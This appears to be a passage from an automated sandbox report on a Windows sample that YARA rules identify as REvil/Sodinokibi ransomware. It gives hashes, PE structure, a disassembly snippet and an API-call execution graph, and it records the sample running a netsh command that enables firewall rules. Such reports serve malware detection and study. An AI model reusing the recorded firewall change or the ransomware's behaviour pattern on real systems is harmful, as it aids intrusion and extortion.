.n.o.b.o.d.y. .
            \Device\ConDrv
            Process:C:\Windows\SysWOW64\netsh.exe
            File Type:ASCII text, with CRLF line terminators
            Category:dropped
            Size (bytes):30
            Entropy (8bit):4.106890595608519
            Encrypted:false
            SSDEEP:3:jMs/yha:jMUma
            MD5:78890DD69B4AB45F912760EC5EA2AED1
            SHA1:050994B6DB3BC0103A5320BAE25F21DAEF677A5E
            SHA-256:803AF0F87EF5899F1FA217B97B50BCC360E5DA596B24F5449779945BAEF35285
            SHA-512:45B2FCA2AB032F03F40C4ED30F25AB0606A86AB06BE0161122453E74B623D40254E7697E13F29FCCC658588AF4C25C9388DFBC2293D25678B712341582D170D0
            Malicious:false
            Preview: ..Updated 52 rule(s)...Ok.....

            Static File Info

            General

            File type:PE32 executable (GUI) Intel 80386, for MS Windows
            Entropy (8bit):6.143314042662871
            TrID:
            • Win32 Executable (generic) a (10002005/4) 99.94%
            • Clipper DOS Executable (2020/12) 0.02%
            • Generic Win/DOS Executable (2004/3) 0.02%
            • DOS Executable Generic (2002/1) 0.02%
            • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
            File name:gtV10WjhFA.exe
            File size:139264
            MD5:94d087166651c0020a9e6cc2fdacdc0c
            SHA1:99be22569ba9b1e49d3fd36f65faa6795672fcc0
            SHA256:9b11711efed24b3c6723521a7d7eb4a52e4914db7420e278aa36e727459d59dd
            SHA512:0f5a413e57e4cedf0a8df3b33cda3c2c0732ded58c367633e8677bf88786eb786b85c97420fda150fecb68db74dc00f77064c3ea77d00f53904413c9ea3a93ba
            SSDEEP:1536:xxd+ReKXU/MQaL7k0B/L7s+Zi+GrZxtQpfyHvtICS4A4UdZls8XzUXiWr4X5F4GC:xtchTojrZxtMhiiZHjUyWr4X5FTDU
            File Content Preview:MZ......................@.......................................................................................................................................................................................................................PE..L...Z..`...

            File Icon

            Icon Hash:00828e8e8686b000

            Static PE Info

            General

            Entrypoint:0x2c94883
            Entrypoint Section:
            Digitally signed:false
            Imagebase:0x2c90000
            Subsystem:windows gui
            Image File Characteristics:32BIT_MACHINE, EXECUTABLE_IMAGE
            DLL Characteristics:TERMINAL_SERVER_AWARE, DYNAMIC_BASE
            Time Stamp:0x60A6AD5A [Thu May 20 18:41:30 2021 UTC]
            TLS Callbacks:
            CLR (.Net) Version:
            OS Version Major:5
            OS Version Minor:1
            File Version Major:5
            File Version Minor:1
            Subsystem Version Major:5
            Subsystem Version Minor:1
            Import Hash:f3d46e2f8717ced6d4b220e65d6ad18a

            Entrypoint Preview

            Instruction
            push 00000000h
            call 00007F5FA8760553h
            push 00000000h
            call 00007F5FA8761223h
            pop ecx
            ret
            push ebp
            mov ebp, esp
            sub esp, 000003F8h
            push ebx
            push esi
            push edi
            call 00007F5FA8761782h
            mov ebx, eax
            call 00007F5FA876185Ch
            mov ecx, 00000600h
            cmp ax, cx
            push 00000043h
            sbb esi, esi
            neg esi
            call dword ptr [02CA25B4h]
            test eax, eax
            jne 00007F5FA87608C1h
            lea eax, dword ptr [ebp-08h]
            mov dword ptr [ebp-08h], 00000104h
            push eax
            lea eax, dword ptr [ebp-000003F8h]
            push eax
            call dword ptr [02CA2884h]
            test eax, eax
            jne 00007F5FA8760609h
            xor eax, eax
            jmp 00007F5FA87608A0h
            lea eax, dword ptr [ebp-000003F8h]
            push 02C9E0CCh
            push eax
            call 00007F5FA87637D6h
            pop ecx
            pop ecx
            test eax, eax
            je 00007F5FA87605E4h
            lea eax, dword ptr [ebp-000001ECh]
            mov edi, 02CA1278h
            push eax
            push 0000006Ah
            push 00000008h
            push 0000065Fh
            push edi
            call 00007F5FA876227Eh
            xor eax, eax
            mov word ptr [ebp-00000182h], ax
            lea eax, dword ptr [ebp-0000011Ch]
            push eax
            push 0000001Eh
            push 00000005h
            push 000002DEh
            push edi
            call 00007F5FA876225Fh
            xor eax, eax
            mov word ptr [ebp-000000FEh], ax
            lea eax, dword ptr [ebp-000000FCh]

            Data Directories

            NameVirtual AddressVirtual Size Is in Section
            IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
            IMAGE_DIRECTORY_ENTRY_IMPORT0x10c780x50
            IMAGE_DIRECTORY_ENTRY_RESOURCE0x00x0
            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
            IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
            IMAGE_DIRECTORY_ENTRY_BASERELOC0x210000x74c
            IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
            IMAGE_DIRECTORY_ENTRY_TLS0x00x0
            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
            IMAGE_DIRECTORY_ENTRY_IAT0xe0000x40
            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

            Sections

            NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
            0x10000xd0000xd000False0.540508563702data6.40269682508IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
            0xe0000x30000x3000False0.653238932292data7.66697996652IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
            0x110000x30000x3000False0.631022135417data5.88079637579IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
            0x140000xd0000xd000False0.546893780048data5.32297991907IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
            0x210000x10000x1000False0.40966796875data3.91427635829IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

            Imports

            DLLImport
            KERNEL32.dllCloseHandle, lstrcmpiW, Sleep, VerSetConditionMask, VerifyVersionInfoW, lstrcmpA, SetThreadPriority
            USER32.dllMessageBoxW
            OLEAUT32.dllSysAllocString, SysFreeString, VariantInit, VariantClear

            Network Behavior

            No network behavior found

            Code Manipulations

            Statistics

            CPU Usage

            Click to jump to process

            Memory Usage

            Click to jump to process

            High Level Behavior Distribution

            Click to dive into process behavior distribution

            Behavior

            Click to jump to process

            System Behavior

            General

            Start time:19:13:10
            Start date:03/07/2021
            Path:C:\Users\user\Desktop\gtV10WjhFA.exe
            Wow64 process (32bit):true
            Commandline:'C:\Users\user\Desktop\gtV10WjhFA.exe'
            Imagebase:0x2350000
            File size:139264 bytes
            MD5 hash:94D087166651C0020A9E6CC2FDACDC0C
            Has elevated privileges:true
            Has administrator privileges:true
            Programmed in:C, C++ or other language
            Yara matches:
            • Rule: MAL_RANSOM_REvil_Oct20_1, Description: Detects REvil ransomware, Source: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Author: Florian Roth
            • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.360012971.0000000002B38000.00000004.00000040.sdmp, Author: Joe Security
            • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.198968948.0000000002B38000.00000004.00000040.sdmp, Author: Joe Security
            • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.199098273.0000000002B38000.00000004.00000040.sdmp, Author: Joe Security
            • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.198889805.0000000002B38000.00000004.00000040.sdmp, Author: Joe Security
            • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.199008786.0000000002B38000.00000004.00000040.sdmp, Author: Joe Security
            • Rule: MAL_RANSOM_REvil_Oct20_1, Description: Detects REvil ransomware, Source: 00000001.00000000.198577869.0000000002351000.00000020.00020000.sdmp, Author: Florian Roth
            • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.199066817.0000000002B38000.00000004.00000040.sdmp, Author: Joe Security
            • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.198932670.0000000002B38000.00000004.00000040.sdmp, Author: Joe Security
            • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.199040037.0000000002B38000.00000004.00000040.sdmp, Author: Joe Security
            • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000001.00000003.199110627.0000000002B38000.00000004.00000040.sdmp, Author: Joe Security
            Reputation:low

            General

            Start time:19:14:26
            Start date:03/07/2021
            Path:C:\Windows\SysWOW64\netsh.exe
            Wow64 process (32bit):true
            Commandline:netsh advfirewall firewall set rule group='Network Discovery' new enable=Yes
            Imagebase:0x17e0000
            File size:82944 bytes
            MD5 hash:A0AA3322BB46BBFC36AB9DC1DBBBB807
            Has elevated privileges:true
            Has administrator privileges:true
            Programmed in:C, C++ or other language
            Reputation:high

            General

            Start time:19:14:27
            Start date:03/07/2021
            Path:C:\Windows\System32\conhost.exe
            Wow64 process (32bit):false
            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Imagebase:0x7ff6b2800000
            File size:625664 bytes
            MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
            Has elevated privileges:true
            Has administrator privileges:true
            Programmed in:C, C++ or other language
            Reputation:high

            General

            Start time:19:14:30
            Start date:03/07/2021
            Path:C:\Windows\System32\wbem\unsecapp.exe
            Wow64 process (32bit):false
            Commandline:C:\Windows\system32\wbem\unsecapp.exe -Embedding
            Imagebase:0x7ff706080000
            File size:48640 bytes
            MD5 hash:9CBD3EC8D9E4F8CE54258B0573C66BEB
            Has elevated privileges:true
            Has administrator privileges:true
            Programmed in:C, C++ or other language
            Reputation:moderate

            Disassembly

            Code Analysis

            Reset < >

              Execution Graph

              Execution Coverage:31.6%
              Dynamic/Decrypted Code Coverage:0%
              Signature Coverage:11.9%
              Total number of Nodes:1251
              Total number of Limit Nodes:19

              Graph

              execution_graph 5889 23510d6 5890 235643f 7 API calls 5889->5890 5891 23510e5 5890->5891 5892 2351105 5891->5892 5893 2356491 7 API calls 5891->5893 5894 23510fa 5893->5894 5895 23551c1 RtlFreeHeap 5894->5895 5895->5892 5845 2351091 5846 235643f 7 API calls 5845->5846 5847 235109f 5846->5847 5873 235337c 5874 2353393 5873->5874 5876 235338b 5873->5876 5875 23533d6 GetWindowsDirectoryW PathAddBackslashW 5874->5875 5874->5876 5875->5876 5877 23575fc 5878 235766a GetPEB 5877->5878 5879 2357606 5878->5879 5880 235317f 5881 2353190 5880->5881 5882 2353197 OpenProcess 5881->5882 5883 23531b9 5881->5883 5882->5883 5884 23531aa TerminateProcess 5882->5884 5885 2355416 CloseHandle 5884->5885 5885->5883 5896 235755e 5897 235757b 5896->5897 5898 23579b0 3 API calls 5897->5898 5899 2357588 5898->5899 5852 2351019 5853 235643f 7 API calls 5852->5853 5854 2351024 5853->5854 5855 2355174 4 API calls 5854->5855 5856 235103a 5854->5856 5855->5856 5746 23574da 5747 23574dd 5746->5747 5749 23574fa 5747->5749 5750 23576e5 5747->5750 5751 235770b 5750->5751 5765 2357608 5751->5765 5769 235794e 5751->5769 5773 235797f 5751->5773 5777 23578ec 5751->5777 5781 23574fc 5751->5781 5785 235752d 5751->5785 5789 23575cb 5751->5789 5793 235788a 5751->5793 5797 235759b 5751->5797 5801 23578bb 5751->5801 5752 2357838 5752->5747 5753 23577dd 5753->5752 5805 23573e6 5753->5805 5766 2357625 5765->5766 5814 23579b0 5766->5814 5768 2357632 5768->5753 5770 235796b 5769->5770 5771 23579b0 3 API calls 5770->5771 5772 2357978 5771->5772 5772->5753 5774 235799c 5773->5774 5775 23579b0 3 API calls 5774->5775 5776 23579a9 5775->5776 5776->5753 5778 2357909 5777->5778 5779 23579b0 3 API calls 5778->5779 5780 2357916 5779->5780 5780->5753 5782 2357519 5781->5782 5783 23579b0 3 API calls 5782->5783 5784 2357526 5783->5784 5784->5753 5786 235754a 5785->5786 5787 23579b0 3 API calls 5786->5787 5788 2357557 5787->5788 5788->5753 5790 23575e8 5789->5790 5791 23579b0 3 API calls 5790->5791 5792 23575f5 5791->5792 5792->5753 5794 23578a7 5793->5794 5795 23579b0 3 API calls 5794->5795 5796 23578b4 5795->5796 5796->5753 5798 23575b7 5797->5798 5799 23579b0 3 API calls 5798->5799 5800 23575c4 5799->5800 5800->5753 5802 23578d8 5801->5802 5803 23579b0 3 API calls 5802->5803 5804 23578e5 5803->5804 5804->5753 5806 23579b0 2 API calls 5805->5806 5809 23573f5 5806->5809 5807 2357402 5807->5752 5808 2357438 lstrcmpA 5808->5809 5810 235746b 5808->5810 5809->5807 5809->5808 5810->5807 5811 23573e6 2 API calls 5810->5811 5812 23574a7 5811->5812 5813 23551c1 RtlFreeHeap 5812->5813 5813->5807 5815 23576e5 2 API calls 5814->5815 5816 23579c0 LoadLibraryA 5815->5816 5816->5768 5821 23511a7 5822 235643f 7 API calls 5821->5822 5823 23511b6 5822->5823 5829 23511dd 5823->5829 5830 2356491 CryptStringToBinaryW 5823->5830 5826 23551c1 RtlFreeHeap 5827 23511d6 5826->5827 5828 23551c1 RtlFreeHeap 5827->5828 5827->5829 5828->5829 5831 23564b4 5830->5831 5836 23511ce 5830->5836 5832 2355174 4 API calls 5831->5832 5833 23564bd 5832->5833 5834 23564c4 CryptStringToBinaryW 5833->5834 5833->5836 5835 23564e2 5834->5835 5834->5836 5837 23551c1 RtlFreeHeap 5835->5837 5836->5826 5837->5836 5903 23531c0 5904 2351e18 22 API calls 5903->5904 5905 23531d0 5904->5905 5911 235320e 5905->5911 5914 2354302 5905->5914 5907 23531e0 5913 2353201 5907->5913 5928 2358939 5907->5928 5909 23551c1 RtlFreeHeap 5909->5911 5912 23551c1 RtlFreeHeap 5912->5913 5913->5909 5913->5911 5915 2354314 5914->5915 5916 2355174 4 API calls 5915->5916 5917 2354321 5916->5917 5918 2355bc6 9 API calls 5917->5918 5927 2354738 5917->5927 5919 23544cf 5918->5919 5920 2355bc6 9 API calls 5919->5920 5921 235465b 5920->5921 5922 2355bc6 9 API calls 5921->5922 5924 235467d 5922->5924 5923 2355bc6 9 API calls 5923->5924 5924->5923 5925 23546bf 5924->5925 5926 2355bc6 9 API calls 5925->5926 5926->5927 5927->5907 5932 2358961 5928->5932 5929 23531f9 5929->5912 5930 2358abd RtlGetLastWin32Error 5930->5932 5931 2358aeb 5931->5929 5934 2358852 5931->5934 5932->5929 5932->5930 5932->5931 5937 235886e 5934->5937 5935 2355174 4 API calls 5935->5937 5936 23588cb 5938 2355174 4 API calls 5936->5938 5942 2358924 5936->5942 5937->5935 5937->5936 5939 23551c1 RtlFreeHeap 5937->5939 5937->5942 5940 23588fc 5938->5940 5939->5937 5941 23551c1 RtlFreeHeap 5940->5941 5940->5942 5941->5942 5942->5929 4396 2354883 4401 23547d8 4396->4401 4398 235488a 4429 23554af ExitProcess 4398->4429 4402 2358b60 4401->4402 4403 23547dd SetErrorMode 4402->4403 4430 2351513 4403->4430 4406 235481a 4615 23554af ExitProcess 4406->4615 4408 2354811 4580 2354893 4408->4580 4409 2354821 4507 2355b02 GetPEB 4409->4507 4413 2354827 4416 2354836 4413->4416 4616 2357c2b SHTestTokenMembership 4413->4616 4419 2354863 4416->4419 4508 23559ce 4416->4508 4539 2353db7 SHEmptyRecycleBinW GetCurrentProcess SetPriorityClass SetThreadExecutionState 4419->4539 4420 2354807 4420->4408 4420->4409 4423 2354879 4423->4398 4425 2354866 4425->4419 4513 2357d2b GetCurrentProcess 4425->4513 4426 2354848 MessageBoxW 4617 23554af ExitProcess 4426->4617 4431 2351532 4430->4431 4506 23515b1 4431->4506 4618 2355174 4431->4618 4433 2351548 4433->4506 4624 235c41f 4433->4624 4436 23515ab 4437 23551c1 RtlFreeHeap 4436->4437 4437->4506 4438 23515bb 4630 2356e99 4438->4630 4446 2351970 4694 23564f2 CryptBinaryToStringW 4446->4694 4451 23519f7 4714 2351ce8 4451->4714 4457 2351a1e 4740 23554bd 4457->4740 4458 23569b5 4 API calls 4458->4457 4461 2351a3b 4748 23555e6 4461->4748 4462 23569b5 4 API calls 4462->4461 4465 2351a58 4759 23556a2 4465->4759 4466 23569b5 4 API calls 4466->4465 4469 2351a75 4471 23558fe 9 API calls 4469->4471 4470 23569b5 4 API calls 4470->4469 4472 2351a80 4471->4472 4473 23569b5 4 API calls 4472->4473 4474 2351a94 4473->4474 4765 235583e 4474->4765 4477 2351ab1 4771 2355508 4477->4771 4478 23569b5 4 API calls 4478->4477 4481 23564f2 7 API calls 4482 2351acf 4481->4482 4483 23551c1 RtlFreeHeap 4482->4483 4484 2351ada 4483->4484 4777 2355a21 GetNativeSystemInfo 4484->4777 4486 2351adf 4778 2352174 4486->4778 4492 2351afd 4810 23513d9 4492->4810 4495 23513d9 3 API calls 4496 2351bbb 4495->4496 4497 23513d9 3 API calls 4496->4497 4498 2351bd1 4497->4498 4499 23513d9 3 API calls 4498->4499 4500 2351be2 4499->4500 4501 23513d9 3 API calls 4500->4501 4502 2351bf8 4501->4502 4503 23513d9 3 API calls 4502->4503 4504 2351c2a 4503->4504 4505 23513d9 3 API calls 4504->4505 4505->4506 4506->4406 4506->4420 4569 23558fe 4506->4569 4507->4413 4509 23559ec CreateMutexW 4508->4509 5026 2356595 4508->5026 4511 2355a0c RtlGetLastWin32Error 4509->4511 4512 2354844 4509->4512 4511->4512 4512->4425 4512->4426 5028 2355b02 GetPEB 4513->5028 4515 2357d3e 4516 2357e1a 4515->4516 5029 2357af7 OpenProcessToken 4515->5029 4516->4419 4524 2357d81 4525 2357d8f 4524->4525 4526 2357d89 4524->4526 5054 2355a53 4525->5054 5053 23554af ExitProcess 4526->5053 4529 2357d95 4530 2357dae GetForegroundWindow 4529->4530 4531 2357df5 ShellExecuteExW 4530->4531 4531->4531 4532 2357e03 4531->4532 4533 23551c1 RtlFreeHeap 4532->4533 4534 2357e09 4533->4534 4535 23551c1 RtlFreeHeap 4534->4535 4536 2357e0f 4535->4536 5065 23554af ExitProcess 4536->5065 4540 2356595 4539->4540 4541 2353dfe WinExec 4540->4541 5070 23530c5 4541->5070 4546 2353e24 CreateThread 4549 2355416 CloseHandle 4546->4549 5681 2353fae 4546->5681 4547 2353e66 4548 2357c36 2 API calls 4547->4548 4550 2353e6e 4548->4550 4551 2353e3a 4549->4551 5109 23538f7 4550->5109 5084 235423b 4551->5084 4556 2353eab SetThreadExecutionState 5167 2351428 4556->5167 4561 2355416 CloseHandle 4561->4547 4563 2355718 6 API calls 4564 2353ec5 4563->4564 4566 2353ecd MoveFileExW 4564->4566 4567 2353edd 4564->4567 4565 2353e85 4565->4556 4568 23551c1 RtlFreeHeap 4566->4568 4567->4423 4568->4567 5693 2355229 GetUserDefaultUILanguage GetSystemDefaultUILanguage 4569->5693 4572 23547fc 4572->4420 4579 23554af ExitProcess 4572->4579 4573 235591d 4574 2355174 4 API calls 4573->4574 4575 2355928 4574->4575 4575->4572 4576 235592f GetKeyboardLayoutList 4575->4576 4578 235593b 4576->4578 4577 23551c1 RtlFreeHeap 4577->4572 4578->4572 4578->4577 5695 2355a21 GetNativeSystemInfo 4580->5695 4582 23548a4 5696 2355b02 GetPEB 4582->5696 4584 23548ab GetSystemMetrics 4585 23548c7 GetUserNameW 4584->4585 4586 2354816 4584->4586 4585->4586 4587 23548ea 4585->4587 4586->4406 4587->4586 5697 2354bed RegCreateKeyExW 4587->5697 4589 23549a4 4589->4586 4590 2354bed 3 API calls 4589->4590 4591 23549e0 4590->4591 4591->4586 4592 2354bed 3 API calls 4591->4592 4593 2354a19 4592->4593 4593->4586 4594 2355718 6 API calls 4593->4594 4595 2354a2f 4594->4595 4596 2355d32 3 API calls 4595->4596 4597 2354ab4 4596->4597 4598 2354ac7 4597->4598 4599 2354abc 4597->4599 4601 23551c1 RtlFreeHeap 4598->4601 4600 23551c1 RtlFreeHeap 4599->4600 4600->4586 4602 2354acc 4601->4602 4603 2354ada 4602->4603 5700 2356380 4602->5700 4605 2354b8c 4603->4605 4606 2354aee 4603->4606 4608 2354b99 WinExec 4605->4608 4607 2354afb WinExec 4606->4607 4609 2354b24 4607->4609 4608->4609 4610 2354bed 3 API calls 4609->4610 4611 2354b62 4610->4611 4611->4586 4612 2354b79 4611->4612 5705 23563a2 4611->5705 5710 2355c85 4612->5710 4616->4416 4619 2355180 HeapCreate 4618->4619 4620 23551a3 4618->4620 4619->4620 4621 2355198 GetProcessHeap 4619->4621 4815 235510a 4620->4815 4621->4620 4623 23551bd 4623->4433 4629 235c439 4624->4629 4625 235d02e 4626 235d069 RtlFreeHeap 4625->4626 4627 235159f 4625->4627 4626->4627 4627->4436 4627->4438 4628 235d114 Sleep RtlAllocateHeap HeapCreate GetProcessHeap 4628->4629 4629->4625 4629->4627 4629->4628 4631 2351949 4630->4631 4632 2356eac 4630->4632 4637 235d069 4631->4637 4632->4631 4820 235130d 4632->4820 4825 23512db 4632->4825 4830 23512a9 4632->4830 4835 235133f 4632->4835 4638 235195a 4637->4638 4639 235d074 4637->4639 4641 23551c1 4638->4641 4639->4638 4640 23551c1 RtlFreeHeap 4639->4640 4640->4639 4884 235515e RtlFreeHeap 4641->4884 4643 2351960 4643->4506 4644 23522ea 4643->4644 4645 2352311 4644->4645 4885 2355cb3 RegOpenKeyExW 4645->4885 4648 23523c4 4650 2355cb3 9 API calls 4648->4650 4649 2355cb3 9 API calls 4649->4648 4651 23523e3 4650->4651 4652 2352408 4651->4652 4653 2355cb3 9 API calls 4651->4653 4654 2355cb3 9 API calls 4652->4654 4653->4652 4655 235242d 4654->4655 4656 235244f 4655->4656 4657 2355cb3 9 API calls 4655->4657 4658 2355cb3 9 API calls 4656->4658 4657->4656 4659 2352471 4658->4659 4660 2352497 4659->4660 4661 2355cb3 9 API calls 4659->4661 4676 23524de 4660->4676 4896 2356f2c 4660->4896 4661->4660 4663 235252c 4899 235731d 4663->4899 4665 235254b 4666 235731d 13 API calls 4665->4666 4668 2352563 4666->4668 4667 23526ed 4667->4446 4668->4667 4907 2355d32 RegCreateKeyExW 4668->4907 4671 23525e7 4673 2355d32 3 API calls 4671->4673 4672 2355d32 3 API calls 4672->4671 4674 2352609 4673->4674 4675 235262f 4674->4675 4678 2355d32 3 API calls 4674->4678 4679 2355d32 3 API calls 4675->4679 4677 23526c7 4676->4677 4680 23551c1 RtlFreeHeap 4676->4680 4681 23526d5 4677->4681 4683 23551c1 RtlFreeHeap 4677->4683 4678->4675 4682 235264d 4679->4682 4680->4677 4685 23551c1 RtlFreeHeap 4681->4685 4684 235266f 4682->4684 4687 2355d32 3 API calls 4682->4687 4683->4681 4686 2355d32 3 API calls 4684->4686 4688 23526dc 4685->4688 4690 2352691 4686->4690 4687->4684 4689 23551c1 RtlFreeHeap 4688->4689 4691 23526e2 4689->4691 4690->4676 4693 2355d32 3 API calls 4690->4693 4692 23564f2 7 API calls 4691->4692 4692->4667 4693->4676 4695 235651d 4694->4695 4701 23519d8 4694->4701 4696 2355174 4 API calls 4695->4696 4697 2356529 4696->4697 4698 2356530 CryptBinaryToStringW 4697->4698 4697->4701 4699 2356546 4698->4699 4698->4701 4700 23551c1 RtlFreeHeap 4699->4700 4700->4701 4702 2355777 4701->4702 4703 2355174 4 API calls 4702->4703 4704 2355785 4703->4704 4705 23519e5 4704->4705 4947 2355fd5 4704->4947 4705->4451 4709 23569b5 4705->4709 4707 2355792 4708 23557f4 wsprintfW 4707->4708 4708->4705 4710 23569c2 4709->4710 4711 23569be 4709->4711 4712 2355174 4 API calls 4710->4712 4711->4451 4713 23569d8 4712->4713 4713->4451 4715 2351d09 4714->4715 4716 2355cb3 9 API calls 4715->4716 4717 2351d42 4716->4717 4718 2351d6b 4717->4718 4719 2355cb3 9 API calls 4717->4719 4720 2351e00 4718->4720 4722 2351d88 4718->4722 4724 23551c1 RtlFreeHeap 4718->4724 4719->4718 4970 2356db9 4720->4970 4962 23526fb 4722->4962 4723 2351a02 4733 23558b4 4723->4733 4724->4722 4726 2351dc0 4730 2355d32 3 API calls 4726->4730 4727 23551c1 RtlFreeHeap 4728 2351d92 4727->4728 4728->4723 4728->4726 4728->4727 4729 23526fb 13 API calls 4728->4729 4729->4728 4731 2351de5 4730->4731 4731->4720 4732 2355d32 3 API calls 4731->4732 4732->4720 4734 2355174 4 API calls 4733->4734 4735 23558c3 4734->4735 4736 23558ca GetUserNameW 4735->4736 4738 2351a0c 4735->4738 4737 23558e0 4736->4737 4736->4738 4739 23551c1 RtlFreeHeap 4737->4739 4738->4457 4738->4458 4739->4738 4741 2355174 4 API calls 4740->4741 4742 23554c9 4741->4742 4743 2351a29 4742->4743 4744 23554d0 GetComputerNameW 4742->4744 4743->4461 4743->4462 4745 23554e6 4744->4745 4746 23554ec 4744->4746 4747 23551c1 RtlFreeHeap 4745->4747 4746->4743 4747->4746 4749 235560a 4748->4749 4750 2355cb3 9 API calls 4749->4750 4751 235564b 4750->4751 4752 235565e 4751->4752 4754 2351a46 4751->4754 4755 2355667 4751->4755 4753 23551c1 RtlFreeHeap 4752->4753 4753->4754 4754->4465 4754->4466 4755->4754 4756 23551c1 RtlFreeHeap 4755->4756 4757 235568b 4756->4757 4758 23569b5 4 API calls 4757->4758 4758->4754 4760 23556c1 4759->4760 4761 2355cb3 9 API calls 4760->4761 4762 23556fd 4761->4762 4763 2351a63 4762->4763 4764 23551c1 RtlFreeHeap 4762->4764 4763->4469 4763->4470 4764->4763 4766 235585d 4765->4766 4767 2355cb3 9 API calls 4766->4767 4768 2355899 4767->4768 4769 2351a9f 4768->4769 4770 23551c1 RtlFreeHeap 4768->4770 4769->4477 4769->4478 4770->4769 4776 235551d 4771->4776 4772 2351ac0 4772->4481 4773 2355174 4 API calls 4773->4776 4774 2355565 GetDriveTypeW 4774->4776 4775 2355581 GetDiskFreeSpaceExW 4775->4776 4776->4772 4776->4773 4776->4774 4776->4775 4777->4486 4997 2351e18 4778->4997 4781 2351af3 4789 235225e 4781->4789 4782 23564f2 7 API calls 4783 235219b 4782->4783 4784 23551c1 RtlFreeHeap 4783->4784 4785 23521a3 4784->4785 4785->4781 5015 23566ef 4785->5015 4787 235223a 4788 23551c1 RtlFreeHeap 4787->4788 4788->4781 4790 235227c 4789->4790 4791 23566ef 5 API calls 4790->4791 4792 23522a4 4791->4792 4793 23569b5 4 API calls 4792->4793 4795 23522bf 4793->4795 4794 2351af8 4799 2351fec 4794->4799 4795->4794 4796 2356db9 7 API calls 4795->4796 4797 23522d9 4796->4797 4798 23551c1 RtlFreeHeap 4797->4798 4798->4794 4800 2351e18 22 API calls 4799->4800 4801 2351fff 4800->4801 4802 2352025 4801->4802 4803 23564f2 7 API calls 4801->4803 4802->4492 4804 2352016 4803->4804 4805 23551c1 RtlFreeHeap 4804->4805 4806 235201e 4805->4806 4806->4802 4807 23566ef 5 API calls 4806->4807 4808 235215d 4807->4808 4809 23551c1 RtlFreeHeap 4808->4809 4809->4802 5024 2355438 GetCommandLineW CommandLineToArgvW 4810->5024 4812 235141e 4812->4495 4813 23513ea 4813->4812 5025 235542a LocalFree 4813->5025 4816 2355113 4815->4816 4817 235511f RtlAllocateHeap 4815->4817 4816->4623 4818 2355117 Sleep 4817->4818 4819 2355131 4817->4819 4818->4817 4819->4623 4839 2356cb4 4820->4839 4823 2351338 4823->4632 4826 2356cb4 4 API calls 4825->4826 4827 23512f3 4826->4827 4828 2351306 4827->4828 4829 2356e5e 7 API calls 4827->4829 4828->4632 4829->4828 4831 2356cb4 4 API calls 4830->4831 4833 23512c1 4831->4833 4832 23512d4 4832->4632 4833->4832 4834 2356e5e 7 API calls 4833->4834 4834->4832 4836 235135e 4835->4836 4837 2356e99 9 API calls 4836->4837 4838 23513d1 4837->4838 4838->4632 4850 2355133 HeapCreate 4839->4850 4841 2356cc0 4842 235510a 2 API calls 4841->4842 4844 2351325 4841->4844 4843 2356cf9 4842->4843 4843->4844 4851 2355150 HeapDestroy 4843->4851 4844->4823 4846 2356e5e 4844->4846 4847 2356e6d 4846->4847 4848 2356e8e 4846->4848 4847->4848 4852 2351000 4847->4852 4848->4823 4850->4841 4851->4844 4853 235100b 4852->4853 4856 2356d14 4853->4856 4857 2356d25 4856->4857 4858 235510a 2 API calls 4857->4858 4869 2351014 4857->4869 4859 2356d4c 4858->4859 4859->4869 4870 2356980 4859->4870 4861 2356d5d 4862 2356d6c 4861->4862 4875 235643f MultiByteToWideChar 4861->4875 4864 23551c1 RtlFreeHeap 4862->4864 4865 2356d97 4862->4865 4862->4869 4864->4865 4866 23551c1 RtlFreeHeap 4865->4866 4868 2356da6 4865->4868 4866->4868 4883 235515e RtlFreeHeap 4868->4883 4869->4847 4871 2356989 4870->4871 4872 235698d 4870->4872 4871->4861 4873 2355174 4 API calls 4872->4873 4874 235699d 4873->4874 4874->4861 4876 235645e 4875->4876 4877 2356487 4875->4877 4878 2355174 4 API calls 4876->4878 4877->4862 4879 2356467 4878->4879 4879->4877 4880 235646e MultiByteToWideChar 4879->4880 4880->4877 4881 2356481 4880->4881 4882 23551c1 RtlFreeHeap 4881->4882 4882->4877 4883->4869 4884->4643 4886 2355cd4 RegQueryValueExW 4885->4886 4887 235239c 4885->4887 4888 2355d20 RegCloseKey 4886->4888 4889 2355cee 4886->4889 4887->4648 4887->4649 4888->4887 4889->4888 4890 